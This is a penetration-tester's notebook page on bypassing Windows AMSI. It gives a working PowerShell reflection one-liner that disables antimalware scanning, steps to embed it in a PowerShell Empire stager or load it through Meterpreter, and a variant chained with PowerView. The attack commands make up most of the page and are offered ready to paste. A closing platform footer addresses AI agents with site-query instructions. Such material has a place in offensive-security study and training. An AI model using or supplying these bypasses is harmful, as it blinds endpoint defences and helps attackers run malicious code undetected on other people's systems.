> For the complete documentation index, see [llms.txt](https://book.ice-wzl.xyz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://book.ice-wzl.xyz/windows-priv-esc/amsi-bypasses.md).

# AMSI Bypasses

### AMSI Bypass with Powershell Empire

* This assumes you have access to a powershell prompt on the target machine
* Generate a stager, will look something like this:
* On empire must `set Bypasses None`

```
powershell -noP -sta -w 1 -enc  SQBmACgAJABQAFMAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUALgBQAFMAVgBlAHIAcwBpAG8AbgAuAE0AYQBqAG8AcgAgAC0
--snip--
```

* Take out the powershell so it is only base64 and decode, will look something like this

```
If($PSVersionTable.PSVersion.Major -ge 3){};[System.Net.ServicePointManager]::
--snip--
```

* Notice the `If($PSVersionTable.PSVersion.Major -ge 3){};`
* Take the AMSI Bypass below and input it in between `{ }` in the empire payload

```
$s = [Ref].Assembly.GetTypes();ForEach($b in $s) {if ($b.Name -like "*iUtils") {$c = $b}};$d = $c.GetFields('NonPublic,Static');ForEach($e in $d) {if ($e.Name -like "*Failed") {$f = $e}};$f.SetValue($null,$true);
```

* Save off to a file locally `check.ps1`
* Paste contents into powershell prompt

#### MSF Meterpreter way

* ```
  go to meterpreter and run:
  load powershell
  powershell_import /path/to/file/created.ps1
  ```

### AMSI Bypass without Additional Payload

* Can generate many AMSI Bypassess on <https://amsi.fail>
* Simply paste into powershell prompt.
* If successful AMSI is patched and the rest of your session will not be scanned by AMSI

### AMSI Bypass stacking with Powershell

* Can do an session AMSI bypass by pasting command in powershell prompt

```
$s = [Ref].Assembly.GetTypes();ForEach($b in $s) {if ($b.Name -like "*iUtils") {$c = $b}};$d = $c.GetFields('NonPublic,Static');ForEach($e in $d) {if ($e.Name -like "*Failed") {$f = $e}};$f.SetValue($null,$true); 
```

* Or you can also stack it with a specific command

```
$s = [Ref].Assembly.GetTypes();ForEach($b in $s) {if ($b.Name -like "*iUtils") {$c = $b}};$d = $c.GetFields('NonPublic,Static');ForEach($e in $d) {if ($e.Name -like "*Failed") {$f = $e}};$f.SetValue($null,$true); .\PowerView.ps1 
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://book.ice-wzl.xyz/windows-priv-esc/amsi-bypasses.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
